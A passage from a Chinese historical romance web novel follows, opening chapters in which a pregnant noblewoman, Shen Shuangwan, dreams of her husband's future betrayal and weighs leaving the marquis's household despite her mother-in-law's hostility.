《梦醒之后》
1. 是梦
这个梦……荒谬得可笑。
她怀孕之时,她的夫君另娶郡主,她不明不白成了所谓平妻。
她一介孤女,凭什么与郡主平起平坐?
她理所应当受到欺凌,而她的夫君毫无意外站在了郡主的那一边。
没有人为她说一句话,她就好像一快木头,她麻木地把一切都接受。
——也许是为了腹中的孩子吧?梦中的她如此想。
.
她的忍耐并不能让郡主同情她半分,相反却是让郡主的欺压更肆无忌惮。
于是她被诬陷与外人有染。
她甚至没有申辩的机会,就被关进了别院中。
惊惧与不安之下,她早产生下一个男婴。
那个比猫大不了多少的男孩,后脑有一缕和她的夫君一模一样的白发。
她躺在床上,一边听着孩子的哭声,一边听着她的夫君埋怨郡主听他人胡话捕风捉影险些出了人命。
郡主似乎也很懊恼,她说她确实是听他人风言风语,她说她愿意赔罪,她说愿意帮忙照顾这个男婴,然后便叫人把孩子从她身边抱走。
她的夫君安慰她,他还在为郡主说话,他说郡主娇生惯养不辨这些事情,也被骄纵得厉害,可郡主不是坏人,他叫她宽心。
她哭着求她的夫君把孩子抱回来,可他却并不答应。
他说她身体亏损,现在应当好好将养,他会照顾好他们的孩子。
她听信了——又或者是妥协了。
如此荒唐。
可郡主果真也不再找她的不是,府中似乎真的变得和睦起来。
她只挂心自己的孩儿,可她只要回自己的孩儿。
郡主宽容大气,只说她身体不好,她来替她照顾便是了。她不再像之前那样咄咄逼人,似乎变成了回了天真烂漫的模样,仿佛之前一切都果真是因为她受了他人蒙蔽。
不多时,郡主传出怀孕消息。
她再次提出把孩子抱回自己膝下抚养,可郡主却把孩儿送到了她的婆婆身边,只说让这小孩儿去祖母身边承欢。
她的夫君赞同郡主,她执着地、一而再地讨要,显得她狭隘小气狰狞可怖。
头一次,她与她的夫君争吵,她似乎不想再忍耐下去。
可争吵并没有结果,她只把自己气得晕过去,醒来时候又得知自己怀孕消息。
她的夫君笑她,说她气性太大。
又说她如今也不好亲自照顾小孩,正好让婆婆照顾。
然而一转头,她便从下人口中得知,婆婆说她实在过于小家子气,根本养不好小孩,将来肚子里面这一个孩儿也不要她抚养。
她似乎无力去争了,她似乎只能妥协。
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——这个梦似乎过于冗长了些。
她倚着门,看着郡主容光焕发的样子,看着郡主走到她跟前来,说她如今一切不过全是活该,若她懂得退让,此刻便不必看着孩儿被抱走而无力,也不必挺着肚子得不到丈夫的爱。
可,是她没有退让吗?
她问郡主,若不是你你非要和一个有妇之夫成亲,我何至于沦落到今日?
郡主勃然大怒,伸手就要打她。
周围丫鬟婆子们涌上来,把她和郡主扯开,听着郡主发出了痛呼,又赶紧上前去问候。
她趔趄站稳,恰好看到她的夫君匆忙赶来了。
她的夫君大声呵斥她胆大包天,命人把她关起来。
郡主提前发动了。
似乎整个府邸都是她痛呼的声音。
她在安静的房间里,感到难过。
她闭上眼睛。
也不知到底过了多久,她努力想要睁开眼睛却似乎总也无法醒来。
郡主挣扎了一天一夜终于生下了一个女孩儿。
她的夫君守着郡主寸步不离。
她一时似乎在俯瞰一切,一时似乎又是自己。
很快她也临盆,生下的女孩儿果然被婆婆抱走。
她这一次没有去讨要了。
有一些事情她或者只能接受。
她的夫君把她送到了别院,他说郡主受不了刺激,只能委屈一下她。
她没有异议——她也没有资格提出任何反对。
一辆马车,载着她离开。
光怪陆离的前路,周遭魑魅魍魉影影绰绰。
她忽然抽离了身体,她看到了眼前面容枯槁的女人,她有着和她自己相似却又感觉陌生的面容。
虚空之中,她们对视。
.
眼前的女人忽然发出了嘲讽的笑声:“这个梦你喜欢么?”
她下意识摇头,情不自禁问:“你是谁?”
“我就是你呀!”女人拉开了车帘,快速变换的人和物次第闪过,“沈霜晚,你喜欢这个梦吗?”
她心头一震,再去看那女人,她的面容却开始变得模糊。
“你看,这就是我忍耐了一生得到的结果。”女人轻轻叹着。
马车外出现了一男一女两个年轻人,他们穿着相仿,相互拉着手站在一起。
“你不是我们的母亲!”他们眼中流露出无法忽视的怨恨,“我恨你,我恨不得没有被生下来过!”
不等她反应过来,突然之间情景倒转,她跪在地上,正对着她的夫君哭泣。
“繁元是你亲生的女儿,何至于要送她去千里之外苦寒之地和亲……她是你亲生的女儿啊!”她抽泣着,恳求着她的夫君改变主意。
她情不自禁去找寻那个面容模糊的身影,她就在她身旁,她与她一样跪在地上。
渐渐她们二人竟然何为一人了。
“这是我忍耐了一生得到的结果。”她听到那个女人模糊笑了一生,“我忍耐的一生,成全了他们繁花似锦的一辈子。”
她遥遥一指,她的夫君薛望与郡主带着两个漂亮伶俐的孩子正在玩笑打闹,角落里,站着小厮一样面容阴暗的少年。
“这是你……的结果?”她低声喃喃。
“这当然也是你的结果,沈霜晚,这就是你的结局。”她说。
她摇了摇头,眉头紧皱,心中忽地又坚定起来:“这只是一个梦。”
“你不信?可你今天不是已经知道成安郡主看上了薛望,正在和长公主闹腾要圣上指婚的事情么?”女人吃吃笑了起来,“你现在不信也无妨,你总会信的。”
.
沈霜晚是被一道雷惊醒的。
屋外电闪雷鸣,黑云低垂,仿若傍晚。
残存的暑气被滂沱大雨冲散了,潮湿的风甚至带出几分凉意。
她缓缓从床榻上坐起,心
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中却是纷杂混乱。
那冗长而荒谬的梦那样清晰地被她记得一清二楚,怪得很,她从未把一个梦记得这么清晰。
她想起梦中诸多憋屈的忍耐,隐忍不发的愤恨。
抬眼,她看到风雨中花瓣零落飘摇无依的秋海棠。
再闭上眼,她眼前仿佛又出现了她跪在薛望面前苦苦哀求痛不欲生的那一幕。
她甚至能想起那个似乎陌生又熟悉的女儿的名字:繁元。
那是她的女儿吗?
她又想起那个怨恨对着他嘶吼的男孩,他说他恨她,恨不得没有被生下来过。
下意识抚上了自己尚平坦的小腹,便就在几日前,她刚诊断出有孕两个月。
若那荒唐的梦是真……
她不敢继续往下想。
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又一道闪电劈破苍穹。
紧接着是一串震耳欲聋的雷声霹雳。
一明一暗闪烁,屋子里明明熟悉的陈设忽地变得陌生。
沈霜晚掀开了搭在身上的薄毯,正要起身时候,外间的丫鬟听到声响进来了。。
“夫人怎么才睡了一会就起来了?”丫鬟躬身上前伺候她起身,“大夫上回还说让夫人多休息呢!”
脚踩在地上了,沈霜晚竟觉出几分恍惚。她问:“现在什么时辰了?”
丫鬟拿着披衫搭在她肩上,扶着她慢慢往外走,口中回答道:“刚到未时,夫人才睡了一刻钟。”
行走间,外面又是一串雷声轰隆。
沈霜晚走到外间坐了下来,她侧耳去听外面的雨声。
那个梦会是真的吗?
她忍不住问自己。
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丫鬟捧着热茶送到她手边,又拿了她家常做的针线笸箩过来。
“夫人是在为成安郡主的事情烦恼么?”丫鬟担忧地看向了她,“夫人不必担心这些,就算她是郡主,是长公主的爱女,也没有道理缠着我们侯爷、一个有妇之夫不放的。”顿了顿,丫鬟观察着她的神色,慢慢把话说了下去,“他们皇家也是要脸的,成安郡主这么闹,只会让人笑话。夫人实在不必为了这事情担忧。”
沈霜晚接了那盏茶,心头却是一震。
梦最后的那句话清晰地出现在了她的耳畔,一字一字如针扎不容她无视。
你不信?可你今天不是已经知道成安郡主看上了薛望,正在和长公主闹腾要圣上指婚的事情么?你现在不信也无妨,你总会信的。
所以梦会是真的。
那个荒谬得可笑的梦是真的。
她会忍耐一切,生下一双儿女,最后却得不到一切,甚至叫自己的儿女一并沉沦苦海。
她抚摸着自己平坦的小腹,忽然茫然。
他并不期待出生。
想到这里,她徐徐叹了一声,将心比心罢,若一切是真,若她是他,恐怕也恨不得不要出生在这世上。
丫鬟抬眼看她,大约还以为她仍然在为成安郡主烦恼,但却没有再劝下去。
沈霜晚喝了一口茶,把茶盏放到一旁去。
在笸箩里挑拣着看了看那几块没做完的绣件,她也无甚心思,索性重新站起来。
“我还是再回去躺一躺吧!”她如此说道。
话音未落,天边又是一道惊雷落下。
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2. 薛望
纷纷杂杂的梦再次降临。
一层一层的梦魇叫她无法睁开眼睛。
她试图呼喊求救,纠缠的梦魇如一条湿冷的蛇在她脖颈上缠绕,叫她发不出任何声音——然后狠狠拉拽着她坠入一个又一个梦中。
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梦可以那样无能为力。
“我恨你,恨你是我的母亲!恨你把我生下来!”
面容模糊的少年对着她怒吼,他牵着纤瘦的少女渐渐跑开。
她想要追上去,却慢慢下陷无法动弹。
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梦可以这样让她不寒而栗。
“姨娘,我姑且称你一声姨娘,你在府中受我母亲多少好处,如今却是半点也不想回报?”
高高在上的少年语气轻蔑,他在打量她。
“大哥与我身量相仿,他替我顶了这桩罪名,便算是你偿还了我母亲的恩典吧!”
他手中的折扇慢悠悠摇了摇,得意地笑着。
“你放心,我既然喊你一声姨娘,是不会把你逐出府去的。”
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梦还能叫她那样无法逃脱。
永平侯府的匾额被摘下,她和府中的女眷一起被凶神恶煞的官兵推推搡搡带上囚车。
周遭哭喊一片,她麻木地靠在囚车上看着道路两旁。
那是一片漆黑的虚空,她被囚车送往未知的将来。
醒来!醒来!
她用头去撞囚车的木栏,引来了面容模糊的官兵上前来大声呵斥。
身后有人抓住了她的头发,把她掼到一旁。
“你刚才怎么不死?现在倒是装起了坚贞不屈!”
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她无法醒过来。
她无数次睁开眼睛,无数次发现自己仍然在梦中。
魑魅魍魉,鬼影幢幢,她裹挟在其中,不知到底会行往何处。
她再一次睁开眼,发现自己身处牢笼之中,周围空无一人。
高处的窗户露出了天空的一角。
外面似乎在下雨。
她听到雨声密集落下噼里啪啦的声音。
梦中似乎一直有雨。
就好像……她恍惚想起中午时候窗外的大雨。
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如果梦是真……
她是否要这样的结果?
夫妻成仇,母子反目,囚于牢笼。
她是否要那样软弱又无能地过这一生,就如这一个又一个叫她无法挣脱的噩梦?
突然,高处一道闪电划过。
紧接着雷声隆隆,天地都为之震动。
她忽然升起了几分希冀一般,大声呼救起来。
“救救——”
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一双温暖干燥的大手抚上了她的额头。
再次睁开眼睛,周遭萦绕的梦魇散去,一个熟悉的面容出现在她眼前。
他长眉紧皱,狭长的眸中流露着担忧:“怎么了?是被梦魇住了?”
沈霜晚下意识抓住了他的手。
他便就势与她双手紧握。
“若不舒服,晚膳便就在这边摆,不过去母亲那边了。”他说。
沈霜晚看着他——她没有把他的话听到心里去,她似乎第一次看清楚自己的夫君、自己成亲已经四年的枕边人、永平侯薛望到底是怎样面容。
“看我做什么?”她的枕边人笑了起来,他的眉间有一粒小痣,他笑起来时候便更多几分柔情。
梦和现实在此时此刻混作一团,沈霜晚松开了她夫君的手。
屋外电闪雷鸣大雨未停。
“你的手都是冰凉的。”永平侯薛望不觉有异,他拉过一旁的锦被盖在她身上,“风大雨大,就不跑那一趟了。让老夫人早些用膳,也早些休息。”他向外吩咐道。
外间的下人应下,便也就势问起摆膳之事。
沈霜晚这时才猛然意识到此刻已经是傍晚时分。
她竟睡了那样久。
那些荒诞又冗长的梦叫她实在心力交瘁了。
一旁的薛望不叫她起身,而是让丫鬟直接把食案抬到里间来。
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“今日原打算去求见仪王,谁想到在仪王殿下府中等了一整日都没见到人,晚间了实在不好等下去,便只能回来。”薛望一边替她布好了碗筷,一边随口说起了外面的事情,“离开王府时候才知道,仪王殿下因为这大雨根本也没回城来。”他一面说一面自嘲地摇了摇头,“小鬼难缠,小鬼难缠啊!倒不如就在家中了。”
沈霜晚接了薛望递过来的碗筷,她一时间不知能说什么,她看着他,忍不住皱了皱眉头。
薛望觉察到她的目光,便笑了笑,问道:“怎么今日一直看我?我脸上有什么东西了?”
梦中那个冷酷无情、另娶郡主的男人与她眼前的薛望在灯烛下慢慢合二为一。
沈霜晚突然心头意动,她问薛望:“家中传得纷纷扬扬,都说你要娶郡主,是真的么?”
薛望似乎被这一问问得愣住,他面上生出了几分薄怒,眉头紧皱:“这些胡话是怎么在家中传起来?太不成样子!”
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沈霜晚看着他,这一幕甚至让她觉得熟悉。
似乎那些凌乱的梦中也有过这样的一幕。
梦中的他曾信誓旦旦说过自己已经有妻,为何还要去娶郡主?
梦中的他叫她不要胡思乱想——不要想这些捕风捉影的事情。
眼前的薛望此时此刻也看着她。
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他道:“我已经有了你这个妻子,为何要去娶什么郡主?”
——一模一样的话语。
“这些都是捕风捉影的事情,你如今身怀有孕,别胡思乱想了。”他又道。
——毫无二致的说辞。
“总不该是因为这些乱七八糟的事情,你才被魇着了吧?”他笑了笑。
沈霜晚有那么一瞬间分不清此时究竟是梦还是真。
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薛望握住了她的手。
他道:“你总得相信你的夫君吧?我们自小订亲,结为夫妻也有四年,现在你还身怀有孕,我为何要抛下你去娶什么郡主?若我做了那样的事情,我便不能称之为人,只能说与禽兽不如!哪怕禽兽也不会做出抛妻弃子的事情!”
他信誓旦旦。
“把这些话传到你这儿的,恐怕是不安好心。你不要听信这些风言风语。”他深深凝望着她的眼睛,“我最近在外头忙碌,那些下人恐怕又不安分起来,我明日就让母亲把那些心思不安分的都发卖了。”
他坦然光明。
“最近入秋,一天天转凉,你从前总贪凉,现在有孕在身,便不可任性了。”他柔情万种地握紧了她
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的手,“梦魇皆是由于心中多思而起,答应我,就算是为了我,也不要总信那些胡编乱造的事情,好么?”
是她疑神疑鬼,心胸狭隘。
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又是一道电光闪过,漆黑夜幕一瞬亮如白昼。
雷声轰隆。
沈霜晚低头看向了食案上的饭菜,伸手给薛望夹了一粒胡豆。
她看着薛望,也笑了笑,道:“我知道了。”
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晚膳后,薛望并没有留下来。
他说书房中还有些事情要处理,便匆忙离开了。
沈霜晚独自一人在屋子里面转了几圈,她看着屋子里里外外的家具陈设,看着她精心在那些细小处做的装扮,看着她放在书架上头已经落了灰的笔墨颜料。
她已经不太能记起刚嫁到薛家时候这间屋子是什么样子。
她在想——薛望大约还是想娶郡主的,他应当只是限于名声,他想做冰清玉洁的君子,就如当初他会为了不做背信弃义的小人而娶她。
他当年便应当很想娶一个名门贵女,那样便能早早借力得到差遣,早早把父亲留下的爵位承袭。
为了两家的承诺娶她,拖延了数年才得到了永平侯的爵位,到如今还没有实差,他心中想来是后悔多一些吧?
她从前是不会这样想的。
走到窗边,她看着外面影影绰绰的树影摇晃,她有些说不清心中究竟是……伤心悲恸失望又或者是其他别的什么情绪。
这应当是她此生第一次如此具象地体会到什么叫做五味杂陈。
外面的雨似乎没有变小的迹象。。
.
她应该离开他。
她沈霜晚应该和薛望分开。
这样一个念头突然冒了出来。
她和薛望分开,梦中的一切便再不会重来。
与其纠缠梦境,与其试探真假,便不如一别两宽,各自安好。
这是再好不过、再合适不过的决定。
她呼吸微微有些急促起来,她感觉到自己的心跳砰砰似乎比平常快了许多。
.
便就在此时,一个声音忽然在她耳边响起:
“离开了薛家和侯府,你能去哪里呢?沈家已经没有人了。”
谁?!
她惊疑地回头看去,屋子里面除了她以外没有旁人,丫鬟们都在外间候立
“你一介孤女,能去哪里?离开了薛家,难道独自一人去外面生活?那岂不是要被人欺负到死?”
那个声音继续说道。
仿佛是从天而降的声音,沈霜晚四下探望,不见人影。
“仅仅只是一个梦而已,你便就真的要当真吗?”
若梦是假,这不知从何而来的声音却是真?
闪电如龙滚过天际,又是一道雷劈下。
“你回不去沈家,又没有栖身之所,还身怀有孕,离开薛家和侯府,谁能庇佑你?”
那声音与雷声一道传入她的耳中。
“你母亲当初用性命换了你嫁到侯府,她想要的就是你嫁到薛家,安安稳稳地过一生。你要辜负你的母亲期望吗?霜晚,你要辜负为了你担心一辈子的母亲吗?”
沈霜晚扶着窗棱沉默看向那暴风雨中的漆黑一片。
这些问题,她无法回答。
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3. 婚姻
二更时候,外头的雨小了些许。
前院的小厮冒着雨来到正院,带来了薛望的口信。
“夫人,侯爷说还有些事情要忙,便歇在书房了。”小厮如此说道。
沈霜晚已经换了衣裳,此刻隔着屏风,她看不到小厮的神色,只看得灯烛照印在屏风上的影子。
跳跃的闪烁的光,让人影晃动,变成张牙舞爪的嚣张形状。
身旁候立的丫鬟承月小心地看向了她,轻声问道:“夫人,书房里面物事也不齐整,不妨差遣奴婢们过去伺候?”
再如何谨慎又谦卑的言语,却也藏不住其中压抑不住的雀跃与期许。
沈霜晚看了丫鬟一眼,摇曳的烛影勾勒出了承月姣好的面容——而那些凌乱又荒谬的梦跟随一起重新浮现了。
她知道丫鬟的心思,若是从前、若是从前,她应会装作没有看到的。
她不想与任何人共享自己的丈夫,无论是郡主,抑或是丫鬟,她全是不愿的。
可梦里的她为何忍耐?
沈霜晚忽地自嘲笑了一声,她看到一旁丫鬟承月面上的笑意收敛了许多。
屏风另一边,那小厮还在等着她回话。
她已然打算离开薛家,便也不必再计较那许多。
“天气转凉,今天还下了一整天的雨,也不知书房的被褥够不够用。你收拾些厚被褥送到书房去。”她看着承月缓缓说道。
承月眼中闪过了一道喜悦的亮光,她欢喜地应下了。
屏风后头那小厮乖觉退到门口,承月叫了两个小丫头进来一起收拾了厚褥子,抬着箱笼装好又特地给沈霜晚看过,才与那小厮一道离去。
正院四下人声渐悄,只剩雨声嘈杂。
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约是因为白日里睡了太久,又或者是因为心中思绪繁多,又也许是——不想再进入那荒谬又失控的梦,沈霜晚靠在床上,拿着一卷话本有一页没一页地翻着。
这话本她已经看过许多次,讲述的乃是一对青梅竹马的冤家分离多年后终成眷属的故事。
她最爱书中婉娘与周郎一起吟诗作画的篇章,情思成诗,落笔成画,他们便在诗与画中心意相通,海誓山盟。
未嫁之时,她也曾经憧憬过自己与薛望的婚姻,她曾经也想过,自己或者与薛望也有这样情投意合心心相印的时刻。
但成亲后,她便再不曾这么想过了。
薛家是勋贵之后,薛望虽然文武双全,但并非诗情画意的性情,多数时候他都是冷峻肃穆的。
事实上她对自己的婚姻谈不上有多满意——这或者是仅仅一个梦便能叫她心思动摇的根源。
可这偏偏又是她母亲连氏倾尽所有为她保下的婚约。
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她还记得那天大雨滂沱,便与今日相仿,连氏从下人那里听说了隔房的二叔要让他的女儿、她的堂姐沈成琳取代她嫁给薛望的事情。
原因倒是简单,她的堂姐多年相看人家无果,又自视甚高,眼看着过了十八都没着落,故而二叔一家便想到了她的父亲当年给她订下的与薛家的婚约。
那时薛望虽然没承袭了永平侯的爵位,但有舅家扶持,又少年得志,文武双全,再加上他仪表堂堂,高大威猛,着实是京中炙手可热、前途可期的儿郎。
她的父亲去世时候她才五岁,母亲连氏被宗族和二叔联手欺凌强行过继了嗣子,差点儿把父亲留下的家产全都掏空,为了年幼的她,连氏多年忍气吞声,直到在得知了她的亲事要被算计时候,终于是与沈家人撕破了脸。
狂风暴雨中,就在她的二叔沈令行宴请宾客的大厅中,连氏与沈令行争吵谩骂,把十几年的龌龊都翻检出来,再把所有人都攀扯进来,连氏一手拽着她,一手拿着刀以死相逼。
“今日我就带着晚儿死在你们沈家大门口,叫所有人都看看,你沈令行是怎么欺负了寡嫂孤女!是怎么偷窃兄长财产!是怎么做偷鸡摸狗的事情连别人的亲事都要强夺!”
沈令行终究是好面子,也或者是因为方才连氏把他们做过的那些事情都扯了出来,还也许是因为此刻连外人都在探看,宾客脸上显露着看热闹的兴奋,他当着众人的面跪地求饶认了错。
婚事是保住了。
但为了避免夜长梦多,连氏连夜就打发人到薛家来商议亲迎之事。
很快薛家便上门来与连氏商议了这桩十五年前的婚约,再接着她便嫁到薛家。
应是心中再无牵挂,她成亲不过数月,连氏就大病一场,没熬过那个冬天。
她五岁失父,十五岁丧母,那时候她便知道自己从此以后是孤单一人。
.
三更声透过骤雨疾风遥遥传来。
沈霜晚放下了手中的书册,自嘲地笑了笑。
她没想到四年前那些事情她还能如此清晰地回忆起来。
应是她心中也有太多不甘。
她不甘自己与母亲当年受过那样多的委屈,最后却只能落到这样的结果——哪怕沈家如今败落被踩到泥里,可当年她与母亲受过的屈辱却没有半点的偿还。
她不甘自己当年什么都做不了,只能被仓促成亲离开,留连氏独自一人在沈家——她为何不能把母亲接走,若她来亲自照顾连氏,连氏又怎么会因为一场病就撒手人寰?
她也不甘,自己在薛家四年逆来顺受的忍耐,只得到了婆母朱氏一而再的挑剔,只得到了薛望淡漠的回应,甚至在已经怀孕的时候,还要听说薛望要另娶郡主的事情。
梦中就算一切全是假,但她的不甘是真。
从前种种不能重新来过了,她要把将来都还一切用容忍来应对么?
她在薛家这四年的忍耐其实已经有结果了啊……
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后半夜时候雨渐渐停歇,沈霜晚也在辗转反侧中合上眼睛。
无处不在的梦再次将她侵袭,可这一次她却并不太能记起究竟梦到什么,只记得醒来之前那阵心悸与不安。
天已经亮了,丫鬟承月正带着小丫鬟们准备热水和衣物。
见沈霜晚醒来,承月上前来伺候她起身。
“侯爷说等
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会过来与夫人一道用膳,请夫人不要去老夫人那边了。”承月低眉顺眼地说道。
沈霜晚慢了一拍才想起昨夜承月去前面书房的事情,再着意看一眼她身上妆扮还是如往常一般,她心中倒是也有了分数。
“可有差人去与老夫人那边说过?”沈霜晚只当做什么都没看出来,平静问道。
承月忙道:“奴婢已经差人去了,侯爷也叫人往老夫人那边传话。”
“便叫厨房做些清淡的饭食送来,早上就不要吃得太油腻。”沈霜晚起身换了衣裳,她抬眼看了眼外头,一夜过去,窗外雨打风吹凌乱不堪的秋海棠已经重新站立起来。
承月忙应下,一边叫小丫鬟出去传话,一边跟在沈霜晚身侧帮忙梳妆打扮。
等到梳妆打扮换好了衣裳,厨房已经把早饭送到了厅中来,另一边薛望也从前院书房过来了。
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“昨夜睡得可好?”进到厅中,薛望在食案后坐下了,他随意看了一眼沈霜晚面前的饭食,又低头看了眼摆在自己面前的肉汤,不由皱了皱眉头,“你吃得也太素了些,现在是双身子,可不能如从前一般了。”说着,他便向外面道,“给夫人再送两碗补身子的汤。”
外面下人应下,便直接往厨房去吩咐。
沈霜晚没有碰碗筷,只抬眼看向了薛望,缓缓笑了笑,道:“哪里吃得下那么多?只不过是怀孕,又不是变成了饕餮,两碗是怎么都吃不下的。”
薛望面色低沉了一会,又叫下人回来:“午膳时候叫厨房务必记得给夫人多添两道菜。”
下人再次应下。
沈霜晚便不再多言语,拿起碗筷,慢条斯理吃着面前的饭食。
上首的薛望仿佛胃口极好,不多时便把食案上的粥菜吃干净,还叫人多上了一碗馄饨。
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“今日还得往仪王府上去,也不知仪王今日会不会回来。”吃完了馄饨,薛望对沈霜晚说道,“若母亲问起,你便这么与她说一声。”
沈霜晚看了眼薛望,知道他是因为舅家缘故如今不想与朱氏多纠缠,她想了想,只道:“此事最好还是由夫君与母亲亲口说一声最好,我从中传话,恐怕母亲会多想。”
薛望听着这话,一边命人把食案都抬下去,一边向沈霜晚道:“还不知能不能见到仪王,这事情拿不准,还不能与母亲说太多。你便替我含糊几句也就是了。”
话已至此,沈霜晚便知这事情是落在她身上无法推脱了,她便也不再多坚持。
“还有一事。”薛望起身要走,又忽然想起什么,重新坐下看向了她,他指了指外面的丫鬟,面上没什么太多笑意,“我知道你是贤惠,也是为我着想,只是你才有孕我就纳妾实在不好看,对你对我名声都太大损害。”
沈霜晚静默了片刻,倒也没辩驳,只道:“夫君的话我记下了。”
薛望十分满意她的顺从,脸上神色松快了些许,他道:“你就在家里好好养着,别胡思乱想就行。”
说完这些,他便起身,大步朝外走去。
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4. 朱氏
阴沉的云散布整个天际,潮湿的风带着阴冷的气息。
那一场大雨让残余的暑气完全散尽了。
沈霜晚一边换衣裳,一边命人去老夫人朱氏院子那边通传。
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侯府如今人口并不多,除了袭爵的薛望,便就是其母朱氏与她。
薛家旁支并非无人,只是之前薛望未袭爵之时,旁支态度疏离,而朱氏又向来与薛家其他人不睦,故薛望重得永平侯爵位后,旁支再想依附,也没了门路。
如此,薛家便成了京中罕有的人口简单的勋贵侯门。
但虽然人口简单,规矩礼仪却丁点也不少。
问安视膳昏定晨省一日都不可懈怠,否则朱氏便会有许多阴阳怪气含沙射影的话语来敲打。
沈霜晚刚嫁到薛家时候,很是因为这些而抑郁。
那时她常常会想,究竟是自己做错了么?
又或者……的确是她做得不好?
可渐渐她也明白,那只是朱氏对她不满而已。
当初两家结亲时候沈家光鲜,可毕竟她的父亲故去十年,沈家老早落魄,压根儿不能帮到薛家半分。若不是薛望怕丢了名声硬是认下了这桩父辈定下的婚约,朱氏便要为他寻一位名门淑女,找一个能为他的前途助一把力岳家。
故而朱氏的厌恶形于辞色溢于言表——甚至不屑掩饰。
那时她的母亲连氏正是病重,她不敢把这些事情向她吐露半点,她害怕这些事情会耽误了连氏养病。
但连氏仍然看出了她的忧虑。
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“婆媳总是难相处的。”她去探病时候,连氏这样叮嘱她,“只要薛望对你好就行了。他尊重你,敬爱你,你婆婆要如何都不用放在心上。”
她并不觉得薛望有多么敬爱她,她心中全是茫然。
“我看薛望是个好孩子,当初你父亲没看错薛家的家风。”连氏握住她的手,“你就和他好好过日子,母亲就算死了也安心了。”
这话叫她心中骇然,她哭着扑在连氏怀里求她不要弃她而去。
那时连氏已经被挪到了沈家的一座别院中,府中已经不再有她的安身之处。
她想把连氏接到薛家,这别院离京城有二三十里,出了什么事情都赶不及过来。
但连氏拒绝了她。
“母亲看着你嫁了个好人家,已经心满意足了。”连氏抚摸着她的头发,“你和薛望好好过一辈子,母亲就不过去给你们添乱了。”
连氏见她不说话,便又把她搂在怀里安抚,她道:“为娘的乖乖,你从小聪明,可你要记得,人这一辈子却应糊涂。”
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去往正院的丫鬟回来了,她恭敬回话说老夫人朱氏刚用了早膳正在佛堂念经。
沈霜晚收回了那些茫茫思绪,又看了一眼外面阴沉天气。“去老夫人院子了。”她向左右说道,又看了一眼一早上到如今面色还透着几分尴尬的承月,终是没忍住叹了一声,“承月留在屋子里,把前儿送来的料子理一理,眼看起了北风,是要做夹衣和冬衣了。”
承月感激地应下了,带着小丫头们退到一旁去。
沈霜晚便领着一众丫鬟出了正院,再顺着夹道往朱氏的西院走去。
进到西院,只见府中大小管事娘子们正在廊下候立。
见沈霜晚带着人进来,他们便纷纷上前来见礼。
朱氏身边的大丫鬟丛燕也从屋子里打了帘子出来,客客气气请沈霜晚进去。
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“昨天命人送了几匹料子到正院,夫人可看过了?”丛燕送上了热茶,在一旁陪着沈霜晚说笑,“老夫人原是等着夫人过来时候让夫人亲自挑几匹好看的,侯爷差人过来说夫人身体不适,老夫人便叫我捡了几匹颜色鲜亮的,送到正院去了。”
沈霜晚接了茶盏,却想不起来昨日什么时候送过衣料,她实在厌烦这些打机锋的话语——她心情烦乱几乎没什么耐心,于是她便道:“不曾见过,也没听底下人说。”顿了顿,她回头去看跟着自己的丫鬟,“你去正院问一问承月,昨天可有收过老夫人送去的料子。”
丫鬟应了一声便往外走。
丛燕便道:“只怕是承月那丫头自作主张接了东西也没和夫人说。”
沈霜晚只抿了一口茶,并没有接话。
丛燕又道:“侯爷昨天差人过来与老夫人说,府中人多嘴杂,闲话太多。老夫人如今精神不济,管不来那许多事情,还要请夫人帮忙处理一二呢!”
沈霜晚看了丛燕一眼,只作未闻。
过了一会儿,回去正院的丫鬟匆忙进到屋子里来,手里拿着单子向沈霜晚道:“承月姐姐说早上才看到有几匹料子放在外头,还没来得及给夫人回话。”
丛燕不等沈霜晚开口便笑道:“府中下人的确太松懈,瞧瞧这耽误了多少事情呢!”
沈霜晚接过单子看了一眼,又交还给了那丫鬟,只淡淡道:“叫承月好好收起来吧。”
丫鬟应了一声,退到外间候立。
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说话间,老夫人朱氏从佛堂出来了。
沈霜晚便站起身来上前行礼。
而丛燕则上前去扶着朱氏在主位坐下。
朱氏看了沈霜晚一眼,指了指旁边位置示意她坐下,口中道:“望儿与我说你昨日梦魇着了,今日可好些?”
“已经好了。”沈霜晚回答着,便就坐下。
朱氏不着痕迹皱了皱眉头,她接过了丛燕送上的热茶,抿了一口才缓缓又道:“你年纪轻,不过是怀孕,实在不必太紧张。”顿了顿,她不等沈霜晚说话,便又接着道,“昨日望儿与我说府中如今人多嘴杂,应当梳理一番。我是没这精力了,索性便就交给你,如何?”
沈霜晚静默了片刻,只道:“媳妇有孕在身,实在紧张不敢理事,请母亲多多怜惜。”
朱氏大约是没想到沈霜晚会这么拒绝,她着意又看了她一眼,一时间没说话。
屋子里安静下来。
沈霜晚只看着面前的茶盏,心中纷纷杂杂有许多念头。
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从她嫁到薛家开始,朱氏便没有把管家权放松过。
当然,那时候朱氏理由也很充分,她说
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她才十五岁,还是个小姑娘呢,这么大的家哪里管得好?
但她当然也知道,朱氏心中真正的理由并非是她年轻。
就如今日朱氏让她理事,也并非真的因为她没精力。
若不是那个冗长又真实的梦,她大约是会有些欢喜的——哪怕朱氏故作姿态,可拿到手里的权力是真,她没有理由推卸,就算明知后面还有许多陷阱,她也会接过那理事之权。
她忽地又想起成亲第二年薛望在朱氏面前为她直言的事情。
那年她正为连氏守孝,想在庙里给连氏办祭拜法事,她手中却窘迫无钱,嫁妆里多是搬不动的家具还有那些一时变不成钱她也舍不得变卖的家传书画,她不想对朱氏和薛望开口索要银钱,便只能自己想办法。
她自幼在丹青上面颇有天赋,花鸟人物都画得栩栩如生,除此之外再无一技之长,故而便托名迟雪居士,画了几幅仕女图叫丫鬟送到外面卖了换钱。
很快这事情便被薛望知晓,他倒是没多说什么,只先与她一起去庙里做了法事,又额外给了她一些银钱不叫她因为这些事情困窘,然后去找了朱氏。
他质问朱氏,为何明明府中有月例,却非要分文不给?哪怕是为了他的名声着想也不应当做出这样的事情吧?
朱氏便做出委屈样子,只说自己是一时忘了,又说是因为她不曾提醒。
可薛望却并没有顺着这话说下去,他愤怒异常。
但不得不承认,她那时候觉得薛望应当还算是可靠的,虽然不算贴心,至少在这些事情上不算太糟心。她说服自己,连氏说的也许的确是对的,年长者看人总比她要深刻,她还是太风花雪月了一些。
可当她现在不再去强行说服自己,她便也得承认,朱氏从头到尾也不曾把她看在眼里,薛望一直在乎的也不过是他的名声前程。
所以她也就不应当接过朱氏那所谓的理事权,也不应当去耽误薛望的前程,她实在不应当这样做。
她只要离开薛家,便能叫他们母子俩都得偿所愿。
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“离开薛家会是好的选择吗?”
——那个莫名其妙的声音再次出现了。
沈霜晚愣了一息,下意识向左右看了一看,并没有其他人在。
“在薛家,你至少衣食无忧,不是么?”
